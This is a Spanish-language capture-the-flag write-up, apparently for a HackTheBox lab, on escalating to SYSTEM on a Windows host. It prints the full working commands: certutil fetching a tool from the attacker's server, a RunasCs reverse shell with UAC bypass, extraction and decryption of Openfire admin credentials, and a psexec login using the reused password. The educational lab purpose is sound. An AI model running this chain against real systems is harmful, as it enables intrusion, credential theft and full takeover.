❯ python3 /usr/share/doc/python3-impacket/examples/wmiexec.py openfire:'HotP!fireguard'@solarlab.htb "whoami"
Impacket v0.12.0.dev1 - Copyright 2023 Fortra
[*] SMBv3.0 dialect used
[-] rpc_s_access_denied
En este punto podemos llamar a nuestro confiable viejo amigo RunasCs
(el cual puede ser descargado desde su repositorio de Github y descomprimido) para pivotear al usuario openfire
internamente. En nuestra máquina de atacantes, empezamos un servidor HTTP
temporal con Python
:
❯ ls && python3 -m http.server 8000
RunasCs.exe
y, en la máquina víctima, descargamos el archivo .exe
usando la herramienta certutil
(que viene incluída por defecto en Windows
):
PS C:\Users\blake\Documents\app> cmd.exe /c certutil.exe -urlcache -f -split http://10.10.16.6:8000/RunasCs.exe C:\Users\blake\Downloads\runascs.exe
**** Online ****
0000 ...
ca00
CertUtil: -URLCache command completed successfully.
Ya transferido el binario, usamos la flag -r
de runascs.exe
para enviarnos una shell, luego de empezar un nuevo listener en el puerto 443
con netcat
:
PS C:\Users\blake\Documents\app> C:\Users\blake\Downloads\runascs.exe openfire 'HotP!fireguard' cmd.exe -r 10.10.16.6:443 --bypass-uac -t 10
[+] Running in session 0 with process function CreateProcessWithLogonW()
[+] Using Station\Desktop: Service-0x0-86b11$\Default
[+] Async process 'C:\Windows\system32\cmd.exe' with pid 1164 created in background.
y en mi listener con netcat
obtengo una nueva shell como el usuario openfire
:
❯ rlwrap -cAr nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.16] 50913
Microsoft Windows [Version 10.0.19045.4355]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
solarlab\openfire
Ahora, en la ruta C:\Program Files
puedo ver la carpeta donde Openfire
está instalado:
C:\>cd Program Files
cd Program Files
C:\Program Files>dir
dir
Volume in drive C has no label.
Volume Serial Number is 385E-AC57
Directory of C:\Program Files
05/03/2024 02:34 PM <DIR> .
05/03/2024 02:34 PM <DIR> ..
11/16/2023 10:39 PM <DIR> Common Files
04/26/2024 04:39 PM <DIR> Internet Explorer
11/17/2023 11:04 AM <DIR> Java
11/16/2023 10:47 PM <DIR> Microsoft Update Health Tools
12/07/2019 12:14 PM <DIR> ModifiableWindowsApps
11/17/2023 03:22 PM <DIR> Openfire
04/26/2024 02:38 PM <DIR> RUXIM
05/03/2024 02:34 PM <DIR> VMware
11/17/2023 12:12 AM <DIR> Windows Defender
04/26/2024 04:39 PM <DIR> Windows Defender Advanced Threat Protection
11/16/2023 11:11 PM <DIR> Windows Mail
11/16/2023 11:11 PM <DIR> Windows Media Player
04/26/2024 04:39 PM <DIR> Windows Multimedia Platform
12/07/2019 12:50 PM <DIR> Windows NT
11/16/2023 11:11 PM <DIR> Windows Photo Viewer
04/26/2024 04:39 PM <DIR> Windows Portable Devices
12/07/2019 12:31 PM <DIR> Windows Security
12/07/2019 12:31 PM <DIR> WindowsPowerShell
0 File(s) 0 bytes
20 Dir(s) 7,742,881,792 bytes free
Noto que, como el usuario openfire
puedo leer este directorio:
C:\Program Files>icacls Openfire
icacls Openfire
Openfire SOLARLAB\blake:(OI)(CI)(N)
NT SERVICE\TrustedInstaller:(CI)(F)
NT AUTHORITY\SYSTEM:(OI)(CI)(F)
BUILTIN\Administrators:(OI)(CI)(F)
CREATOR OWNER:(OI)(CI)(IO)(F)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(OI)(CI)(RX)
APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(OI)(CI)(RX)
SOLARLAB\openfire:(OI)(CI)(F)
Successfully processed 1 files; Failed processing 0 files
Mientras que no somos capaces de leer este directorio como el usuario previo blakeb
.
En la ruta C:\Program Files\Openfire\embedded-db
puedo ver un archivo llamado openfire.script
. Leyendo éste nos muestra:
C:\Program Files\Openfire\embedded-db>type openfire.script
type openfire.script
SET DATABASE UNIQUE NAME HSQLDB8BDD3B2742
SET DATABASE GC 0
SET DATABASE DEFAULT RESULT MEMORY ROWS 0
SET DATABASE EVENT LOG LEVEL 0
SET DATABASE TRANSACTION CONTROL LOCKS
<SNIP>
SET FILES LOG SIZE 20
CREATE USER SA PASSWORD DIGEST 'd41d8cd98f00b204e9800998ecf8427e'
ALTER USER SA SET LOCAL TRUE
<SNIP>
SET SCHEMA PUBLIC
INSERT INTO OFUSER VALUES('admin','gjMoswpK+HakPdvLIvp6eLKlYh0=','9MwNQcJ9bF4YeyZDdns5gvXp620=','yidQk5Skw11QJWTBAloAb28lYHftqa0x',4096,NULL,'becb0c67cfec25aa266ae077e18177c5c3308e2255db062e4f0b77c577e159a11a94016d57ac62d4e89b2856b0289b365f3069802e59d442','Administrator','admin@solarlab.htb','001700223740785','0')
INSERT INTO OFUSERPROP VALUES('admin','console.rows_per_page','/session-summary.jsp=25')
<SNIP>
INSERT INTO OFPROPERTY VALUES('cache.MUCService''conference''Rooms.size','-1',0,NULL)
INSERT INTO OFPROPERTY VALUES('passwordKey','hGXiFzsKaAeYLjn',0,NULL)
INSERT INTO OFPROPERTY VALUES('provider.admin.className','org.jivesoftware.openfire.admin.DefaultAdminProvider',0,NULL)
<SNIP>
Aparentemente, este es un script para automatizar tareas en Openfire
.
Como sea, la contraseña en este caso no está en texto plano; está encriptada. Buscando, encuentro que podemos usar el repositorio Openfire_decrypt para desencriptar esta contraseña. Basados en este post del foro de Hashcat, necesitamos 2 parámetros para desencriptar la contraseña: encryptedPassword
y passwordKey
. El primer parámetro, encryptedPassword
no está explícitamente dado, pero passwordKey
lo está. De manera que tenemos 1 de 2. Hay una línea en el script la cual llama la atención:
CREATE MEMORY TABLE PUBLIC.OFUSER(USERNAME VARCHAR(64) NOT NULL,STOREDKEY VARCHAR(32),SERVERKEY VARCHAR(32),SALT VARCHAR(32),ITERATIONS INTEGER,PLAINPASSWORD VARCHAR(32),ENCRYPTEDPASSWORD VARCHAR(255),NAME VARCHAR(100),EMAIL VARCHAR(100),CREATIONDATE VARCHAR(15) NOT NULL,MODIFICATIONDATE VARCHAR(15) NOT NULL,CONSTRAINT OFUSER_PK PRIMARY KEY(USERNAME))
Podemos ver que ENCRYPTEDPASSWORD VARCHAR(255)
es la séptima (7ma) columna de la tabla PUBLIC.OFUSER
. En el script también hay una línea con contenido:
INSERT INTO OFUSER VALUES('admin','gjMoswpK+HakPdvLIvp6eLKlYh0=','9MwNQcJ9bF4YeyZDdns5gvXp620=','yidQk5Skw11QJWTBAloAb28lYHftqa0x',4096,NULL,'becb0c67cfec25aa266ae077e18177c5c3308e2255db062e4f0b77c577e159a11a94016d57ac62d4e89b2856b0289b365f3069802e59d442','Administrator','admin@solarlab.htb','001700223740785','0')
donde la séptima línea es la contraseña encriptada becb0<SNIP>9d442
para el usuario admin
.
De manera que hemos encontrado las 2 cosas necesarias para desencriptar la contraseña:
encryptedPassword
con valor:becb0c67<SNIP>2e59d442
(acortado para mejor visualización del WriteUp)passwordKey
con valor:hGXiFzsKaAeYLjn
Luego, en nuestra máquina de atacante, simplemente clonamos el repositorio Openfire decryptor
y le pasamos los datos necesarios para desencriptar la contraseña:
❯ git clone https://github.com/c0rdis/openfire_decrypt
<SNIP>
❯ cd openfire_decrypt
❯ java OpenFireDecryptPass.java 'becb0c67cfec25aa266ae077e18177c5c3308e2255db062e4f0b77c577e159a11a94016d57ac62d4e89b2856b0289b365f3069802e59d442' 'hGXiFzsKaAeYLjn'
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
ThisPasswordShouldDo!@ (hex: 005400680069007300500061007300730077006F0072006400530068006F0075006C00640044006F00210040)
Obtnemos una contraseña: ThisPasswordShouldDo!@
Antes de usar esta contraseña en el panel GUI de Openfire
, chequeamos si esta contraseña es utilizada por otro usuario en el sistema como, por ejemplo, Administrator
:
❯ netexec smb 10.10.11.16 -u 'Administrator' -p 'ThisPasswordShouldDo!@'
SMB 10.10.11.16 445 SOLARLAB [*] Windows 10 / Server 2019 Build 19041 x64 (name:SOLARLAB) (domain:solarlab) (signing:False) (SMBv1:False)
SMB 10.10.11.16 445 SOLARLAB [+] solarlab\Administrator:ThisPasswordShouldDo!@ (Pwn3d!)
y funciona. La contraseña se reutiliza.
Finalmente, dado que el servicio SMB
se encuentra corriendo en la máquina víctima, usaré la herramienta psexec.py
de Impacket
para spawnear una shell interactiva como el usuario nt authority/system
utilizando las credenciales del usuario privilegiado Administrator
:
❯ rlwrap -cAr python3 /usr/share/doc/python3-impacket/examples/psexec.py administrator:'ThisPasswordShouldDo!@'@10.10.11.16 cmd.exe
Impacket v0.12.0.dev1 - Copyright 2023 Fortra
[*] Requesting shares on 10.10.11.16.....
[*] Found writable share ADMIN$
[*] Uploading file TKSzIKUt.exe
[*] Opening SVCManager on 10.10.11.16.....
[*] Creating service bbPo on 10.10.11.16.....
[*] Starting service bbPo.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.19045.4355]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
nt authority\system
Donde podemos ver la flag de root
en el directorio Desktop del usuario Administrator
.
~ Happy Hacking